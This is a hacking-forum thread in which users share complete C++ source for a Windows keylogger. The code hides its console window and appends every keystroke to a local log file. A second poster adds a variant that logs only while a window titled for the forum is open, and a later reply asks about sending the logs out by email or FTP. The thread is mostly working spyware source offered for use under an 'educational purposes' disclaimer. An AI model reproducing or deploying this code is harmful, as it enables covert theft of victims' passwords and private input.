Hello There, Guest! Login Register
Logo
Dismiss this notice
MaDLeeTs is not responsible for any attacks that are carried out on networks, websites or servers.
MaDLeeTs staff members cannot be held responsible.
All information on this forum is for educational purposes only.


Keylogger

  • 0 Vote(s) - 0 Average


06-17-2014, 01:01 AM #1
T3N38R15 Offline ? lawless-coder *****
Moderators
Posts:812 Threads:48 Joined:Jan 2014 Reputation: 126
Mood: Fine
Hi Mads Smiley1
i create a new keylogger in c++ Smiley1
code :
Code:
#include <windows.h>
#include <Winuser.h>
#include <string.h>
#include <fstream>
std::string GetKey(int Key)
{
    std::string KeyString = "";
    switch(Key){
                case 8:
                      KeyString = "[delete]";
                break;
                case 13:
                     KeyString = "\n";
                break;
                case 32:
                     KeyString = " ";
                break;
                case VK_PAUSE:
                     KeyString = "[PAUSE]";
                break;
                case VK_CAPITAL:
                     KeyString = "[CAPITAL]";
                break;
                case VK_SHIFT:
                     KeyString = "[SHIFT]";
                break;
                case VK_TAB:
                     KeyString = "[TABULATOR]";
                break;
                case VK_CONTROL:
                     KeyString = "[CTRL]";
                break;
                case VK_ESCAPE:
                     KeyString = "[ESCAPE]";
                break;
                case VK_END:
                     KeyString = "[END]";
                break;
                case VK_HOME:
                     KeyString = "[HOME]";
                break;
                case VK_LEFT:
                     KeyString = "[LEFT]";
                break;
                case VK_RIGHT:
                     KeyString = "[RIGHT]";
                     KeyString = ".";
                break;
    }          
    if (Key >=96 && Key <= 105){KeyString = Key-48;}
    if (Key > 47 && Key < 60){KeyString = Key;}
    if (Key != VK_LBUTTON || Key != VK_RBUTTON)
    {
        if (Key > 64 && Key < 91)
        {
            if (GetKeyState(VK_CAPITAL)){
                KeyString = Key;
            }else {
                Key = Key + 32;
                KeyString = Key;
            }
        }
    }
    return KeyString;
}
int main()
{
    HWND stealth;AllocConsole();stealth=FindWindowA("ConsoleWindowClass",NULL);ShowWindow(stealth,0);
    std::string Filename = "L0ging.txt";
    std::string TempString = "";
    std::fstream FStream;
    FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
    while(true)
    {
        Sleep(5);
        for(int i = 8; i < 191; i++)
        {
           if(GetAsyncKeyState(i)&1 ==1)
           {
                TempString = GetKey (i);
                FStream.write(TempString.c_str(), TempString.size());
                FStream.close();
                FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
           }
        }
    }
}
The Log saved at the running directory as "L0ging.txt" Smiley1
have fun Smiley1
hope someone need that Biggrinsmiley

[Image: xodhvlpa.jpg]
[Image: test.php]

06-17-2014, 01:08 AM #2
C4_feathers Offline Junior Member **
Registered
Posts:7 Threads:2 Joined:Jun 2014 Reputation: 0
Mood: Slow
yaaaaaaaaaa I want that .. thank you bro Smiley1 .

Cool You will Have Time to Rest when You are Dead :idea:

06-17-2014, 01:22 AM #3
yhi Offline MadLeets Vip ******
V.I.P
Posts:392 Threads:40 Joined:Mar 2013 Reputation: 14
Mood: Irritated
awesome Biggrinsmiley

06-17-2014, 01:25 AM #4
T3N38R15 Offline ? lawless-coder *****
Moderators
Posts:812 Threads:48 Joined:Jan 2014 Reputation: 126
Mood: Fine
thx Biggrinsmiley

[Image: xodhvlpa.jpg]
[Image: test.php]

06-17-2014, 01:31 AM #5
KaMi HaXor Offline Any Help ContaCt *****
Respected
Posts:508 Threads:264 Joined:Feb 2013 Reputation: 23
Mood: Zombie
Awsome ThanX Biggrinsmiley

[Image: un7oYOs.png]
[Image: FL8ZXnw.gif]

06-17-2014, 01:47 AM #6
cyber killer Offline Hacking is Not A crime ***
TeaM MaDLeeTs
Posts:46 Threads:11 Joined:Mar 2014 Reputation: 3
Mood: Mad
Nice Keylogger

[Image: cyber_killer.png]

[#] Code Name : Cyber Killer
[#] Email : c[email protected]

06-17-2014, 01:58 AM #7
T3N38R15 Offline ? lawless-coder *****
Moderators
Posts:812 Threads:48 Joined:Jan 2014 Reputation: 126
Mood: Fine
thx Smiley1

[Image: xodhvlpa.jpg]
[Image: test.php]

06-19-2014, 05:57 AM #8
kisako Offline Junior Member **
Registered
Posts:4 Threads:1 Joined:Jun 2014 Reputation: -1
Mood: None
1. this shit is detected by antivirus
2.
Code:
#include <string.h>
#include <fstream>
#include <stdio.h>
#include <cstdlib>
#include <windows.h>
#include <winuser.h>
#include <conio.h>
#pragma comment(lib, "user32.lib")
LPCTSTR fire = TEXT("MaDLeeTs | Cyber Security Haxors & Professional Webmasters Forum");
HWND Find = FindWindow(NULL, fire);
std::string GetKey(int Key)
{
    std::string KeyString = "";
    switch (Key){
    case 8:
        KeyString = "[delete]";
        break;
    case 13:
        KeyString = "\n";
        break;
    case 32:
        KeyString = " ";
        break;
    case VK_PAUSE:
        KeyString = "[PAUSE]";
        break;
    case VK_CAPITAL:
        KeyString = "[CAPITAL]";
        break;
    case VK_SHIFT:
        KeyString = "[SHIFT]";
        break;
    case VK_TAB:
        KeyString = "[TABULATOR]";
        break;
    case VK_CONTROL:
        KeyString = "[CTRL]";
        break;
    case VK_ESCAPE:
        KeyString = "[ESCAPE]";
        break;
    case VK_END:
        KeyString = "[END]";
        break;
    case VK_HOME:
        KeyString = "[HOME]";
        break;
    case VK_LEFT:
        KeyString = "[LEFT]";
        break;
    case VK_RIGHT:
        KeyString = "[RIGHT]";
        KeyString = ".";
        break;
    }
    if (Key >= 96 && Key <= 105){ KeyString = Key - 48; }
    if (Key > 47 && Key < 60){ KeyString = Key; }
    if (Key != VK_LBUTTON || Key != VK_RBUTTON)
    {
        if (Key > 64 && Key < 91)
        {
            if (GetKeyState(VK_CAPITAL)){
                KeyString = Key;
            }
            else {
                Key = Key + 32;
                KeyString = Key;
            }
        }
    }
    return KeyString;
}
int main(){

    if (Find)
    {
        
            HWND stealth; AllocConsole(); stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(stealth, 0);
            std::string Filename = "L0ging.txt";
            std::string TempString = "";
            std::fstream FStream;
            FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
            while (true)
            {
                Sleep(5);
                for (int i = 8; i < 191; i++)
                {
                    if (GetAsyncKeyState(i) & 1 == 1)
                    {
                        TempString = GetKey(i);
                        FStream.write(TempString.c_str(), TempString.size());
                        FStream.close();
                        FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
                    }
                }
            }
        }
        
}
added some code for keylogging madleets Tonguesmiley if you open madleets site keylogger starts logging.

06-20-2014, 01:13 AM #9
T3N38R15 Offline ? lawless-coder *****
Moderators
Posts:812 Threads:48 Joined:Jan 2014 Reputation: 126
Mood: Fine
detected ? from av ?
witch av you use ?

and thx for your little modification Smiley1

[Image: xodhvlpa.jpg]
[Image: test.php]

09-01-2014, 12:32 AM #10
~Kami Offline MaDLeeTs LoVer *****
MaDLeeTs LoVer
Posts:26 Threads:6 Joined:Jun 2014 Reputation: 0
Mood: Stressed
Is it possible to email it or upoad via ftp?






Forum Jump:


Users browsing this thread:1 Guest(s)